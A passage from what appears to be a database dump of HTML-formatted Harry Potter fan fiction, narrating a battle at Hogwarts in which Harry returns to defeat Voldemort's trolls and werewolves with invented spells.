style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;He\ncan&#8217;t be alive!&#8221; Fudge said as his bottom lip trembled.&nbsp; Dumbledore&#8217;s eyes\nnarrowed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well,\nyou&#8217;re looking well&#8230;Voldomort.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\ntwo wizards stared one another down.&nbsp; Neither one displayed any signs of\nbacking down.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nsee that you still teach your students parlor tricks, Albus.&nbsp; A shame they\nnever learn real magic.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nmean how to use magic to kill and use people as if they were puppets.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron\nand Hermione reached the other professors and took out their wands.&nbsp; They\ndidn&#8217;t know attack spells, but they could slow down the trolls.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione,\nlook out!&#8221; The young woman jumped out of the way just as a large club came down\non her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Cyclonus!&#8221;\nThe troll was thrown a good fifty feet into the air and slammed into a\ntree.&nbsp; Ron and Hermione turned to see Remus Lupin behind them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Professor\nLupin?&nbsp; What are you doing here?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;The\nsame as you two, stubborn kids.&#8221; Hermione looked up to see no other than Sirius\nand Mad-Eye Moody land next to them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sirius!&#8221;\nshe said happily, and the man smiled at her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;So\nAlbus, I see you brought the whole gang together,&#8221; Voldomort sneered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nwill not win here today,&#8221; Dumbledore said firmly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh\nreally&#8230;&#8221; The dark wizard raised his wand, and a fireball lit on the end of\nit.&nbsp; It grew bigger and bigger until it was almost thirty feet in\ndiameter. &#8220;&#8230;Tell me old man, with all of you out here, who is watching your\nbratty kids.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t!&#8221;\nBut it was too late.&nbsp; Voldomort launched the fireball over the archway,\nand Dumbledore had no time to cast a barrier over the school.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As\nif the ball was listening to Dumbledore, it rose back out of the courtyard &#8211;\nheld at the end of another wand.&nbsp; The barer floated over the wall bringing\nthe fireball with him &#8211; still unexploded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nis this?&#8221; Voldomort hissed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nbelieve this belongs to you!&#8221; a familiar stated and raised his wand into the\nair.&nbsp; The fireball shot straight up and exploded harmlessly in midair.\n&#8220;But I guess you won&#8217;t be needing it anymore.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Who\nare you?&#8221; the dark wizard demanded.&nbsp; As the smoke cleared, the Dark Lord\nsaw a pair of green eyes gazing at him with a stare that would melt lead.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ah,\nif it isn&#8217;t the star of the show?&nbsp; Welcome&#8230;Harry Potter.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n\n\n\n\n\n'),
	(162, 13, '\n\n\n\n<p class="MsoBodyText">Disclaimer:&nbsp; I do\nnot own the characters of Harry Potter.&nbsp;\nThey are the property of&nbsp;&nbsp; J. K.\nRowling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It&#8217;s\nHarry!&#8221; Hermione gasped, and her eyes lit up.&nbsp; She wanted to run to him\nand throw her arms around his neck when Ron took her shoulder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Herm,\nhold it a second.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What?&nbsp;\nLet me go.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No&#8230;wait,\ndon&#8217;t go to him.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Why\nnot?&#8221; she asked pulling out of his grasp.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Look\nat his eyes, Hermione&#8230;&#8221; She did as Ron asked and noticed the look of cold\nconcentration burning in his emerald depths.&nbsp; Never had she seen Harry so\nserious or so focused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nyoung man walked towards the group of Death Eaters; his face as unexpressive as\nstone.&nbsp; Gone was the carefree, young man &#8211; at least for now; he had been\ntraining for this day; and now, it was time to get to work.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ron&#8230;Hermione&#8230;leave\nnow.&#8221; His tone wasn&#8217;t angry or hateful but rather commanding and authoritive.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nwe won&#8217;t leave you out here alone,&#8221; His girlfriend said with a will of\niron.&nbsp; For the first time that day, Harry smiled.&nbsp; His eyes roamed\nfrom Lupin then to Sirius, and they both nodded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We&#8217;ll\ntake care of them,&#8221; Sirius confirmed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nresumed his course to where Dumbledore and Minister Fudge were standing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nis he doing here,&#8221; Fudge demanded. &#8220;I could have you arrested for this,\nPotter.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Cornelius,\nshut-up!&#8221; Dumbledore snapped. &#8220;Harry has just as much right to be here at you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nyoung wizard walked passed the two older men and faced his mortal enemy.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;So\nVoldomort, I see coming back from the dead didn&#8217;t make you look any better.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Cute\nPotter, but insults are nothing but words.&nbsp; You&#8217;re nothing to me, boy; so\ndon&#8217;t try to put yourself in the same category as me.&nbsp; You&#8217;ll never come\nclose to matching my power so why don&#8217;t you leave now.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nnever abandon my friends; you should know that by now.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Compassion\nis a merit of the weak, Harry.&nbsp; People are inherently greedy and shallow;\nthey only want to please themselves.&nbsp; Those who believe in friendship and\nlove are nothing more than pathetic fools.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\npity you, Voldomort, to have lost such hope in people.&nbsp; Is that what Tom\nRiddle taught you?&#8221; That struck a nerve.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t\nyou dare use that bastard&#8217;s name!&#8221; The Dark Lord shouted. &#8220;He deserved to die\nlike the dog that he was.&nbsp; You can save your pity for when you&#8217;re begging\nfor mercy down on your knees.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Or\nperhaps&#8230;&#8221; An evil smile curved across his lips, &#8220;&#8230;we should make your fellow\nstudents beg for mercy.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Voldomort\nraised his wand, and another hoard of trolls emerged from the trees surrounding\nHogwarts.&nbsp; These were almost twice the size of the first, and their clubs\nwere lined with spikes.&nbsp; The trolls rushed the front of the school and\nbegan pounding on the walls like giant battering rams.&nbsp; The ground shook\nwith the force of their blows, and Harry stumbled to get his footing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Tell\nme, Potter, who should I &#8216;talk&#8217; to first&#8230;&#8221; The wizard&#8217;s eyes fell upon Ron and\nHermione. &#8220;&#8230;Ah, those two&#8230;they are your friends are they not.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ron&#8230;Hermione!&#8221;\nHarry shouted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Two\ntrolls caught Sirius and Lupin off guard and knocked them to the ground.&nbsp;\nRon jumped out of the way as a large hand made a grab for him, but Hermione\nwasn&#8217;t so lucky.&nbsp; Her foot tripped on a stone, and she stumbled to the\nground.&nbsp; One of the trolls grabbed her and squeezed until her bones began\nto creak.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry!&#8221;\nHer scream tore at the young man&#8217;s heart, and his eyes bore into Voldomort&#8217;s\nhead.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Let\nher go, you son of a bitch!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Or\nwhat, boy, you gonna cry!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ahhhhh!!!&#8221;\nHermione&#8217;s screeched was Harry&#8217;s final straw.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">With\na small pop, he disapparated from in front of the Death Eaters.&nbsp; Voldomort\nlooked quite surprised at this since no one was supposed to be able the\napparate or disapparate around Hogwarts.&nbsp; Harry apparated next to the\ntroll that was holding Hermione captive.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Expelliarmus!&#8221;\nA stinging pain shot through both its large hands, and the troll dropped the\nyoung woman.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\ncaught her in his arms, and she clung to him desperately.&nbsp; By now though,\nthe troll had regained its lost club, and its companion turned on Harry as\nwell.&nbsp; The trolls raised their clubs to deal a fatal blow to the couple,\nbut it never happened.&nbsp; The green beasts exploded in flames and grunted in\nagony as they fell to the ground.&nbsp; A glow was emanating from the end of\nDumbledore&#8217;s wand, and Harry nodded in gratitude at the elder man.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione&#8230;come\non, sweetheart, wake up,&#8221; he whispered and kissed her lips.&nbsp; Her brown\neyes slowly opened, and she groaned as her body ached.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry?&#8221;\nshe asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yeah\nHerm, it&#8217;s me, don&#8217;t worry, you&#8217;re safe now.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry!&#8221;\nRon gasped, &#8220;You two okay?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yeah,\nshe&#8217;s just a little banged up.&nbsp; What about Sirius and Lupin?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Right\nhere, Harry, sorry about that.&nbsp; Damn trolls got the drop on us.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It&#8217;s\nokay, just take cover,&#8221; he answered as he set Hermione back down on her feet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nare you going to do?&#8221; his girlfriend asked.&nbsp; Harry didn&#8217;t answer &#8211; just\ngave her over to Ron and Sirius.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nglared daggers across the field at a grinning Voldomort.&nbsp; That evil smirk\nwas making him mad.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well\ndone, Potter, so you&#8217;ve managed to learn a few things.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8217;s\nenough!&#8221; Harry growled and put his wand back into his robes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ah,\ngiving up so early, I had expected more of the &#8216;great Harry Potter&#8217;,&#8221; Voldomort\nmocked. &nbsp;A smirk only crossed the young wizard&#8217;s lips.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Kneeling\ndown on one knee, Harry put his right hand to the ground.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Earth\nbelow me, submit to my will!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">All\naround Hogwarts, the ground rumbled as if an earthquake was taking place.&nbsp;\nThe trolls stopped their pounding on the walls of the castle, and their bodies\nbegan trembling under the force of the vibrations.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What&#8217;s\ngoing on here?&#8221; Fudge gasped as he tried to stay on his feet.&nbsp; A small\nsmile was on Dumbledore&#8217;s face as his eyes watched Harry.&nbsp; He knew what\nthe young man was doing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;So,\nhe has learned.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Learned\nwhat?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Just\nwatch, Cornelius, and see.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nclosed his eyes to concentrate his spell and what he wanted it to do.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Terranus\nSpiconus!&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">At\nhis command, stone spikes erupted out of the ground.&nbsp; They impaled each of\nthe trolls surrounding Hogwarts, and the creatures wailed in horror as they\nfound ten-foot slabs of rock speared through them.&nbsp; They disappeared in a\nblast of smoke never to return.&nbsp; Stone spikes also impaled the trolls\nsurrounding the professors as well as Dumbledore and Fudge.&nbsp; Harry&#8217;s next\ntargets were the werewolves.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Pyros!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Underneath\neach of the mutant wolves, a pillar of fire exploded out of the ground.&nbsp;\nIt melted through their flesh like a hot knife through butter, and a howl was\nall that was that heard before they were roasted within the fire.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Several\nof the Death Eaters became quite apprehensive after they saw such incredible\nmagic performed.&nbsp; Voldomort glared at the wizards in front of them.&nbsp;\nWho could have done such powerful spells &#8211; Dumbledore&#8230;yes, Fudge&#8230;maybe, Sirius\nand Lupin&#8230; probably not, Moody&#8230;yes, Potter&#8230;not by a long shot&#8230;or could\nhe?&nbsp; What made the spell so difficult was controlling it enough to take\nout your opponents while not harming your friends or comrades.&nbsp; Not one of\nthem had been hurt the spikes or blasts.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;My\nlord, what was that?&#8221; A frightened voice said softly as it cringed in the\nbackground.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It&#8217;s\nseems, Wormtail, that this day will be much more entertaining than I had\nhoped.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Lord\nVoldomort, who cast that powerful spell?&#8221; The dark wizard turned to see a\nfamiliar face behind him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ah\nLucius, glad you could make it.&nbsp; I believe that Dumbledore could have cast\nthat spell, but I&#8217;m not so sure about the others.&nbsp; I hardly think that\nPotter could have pulled off such a feet, but&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;&#8230;tell\nme, Lucius, where has that boy been since he was expelled?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8230;I&#8230;I\ndon&#8217;t really know; no one does.&nbsp; He 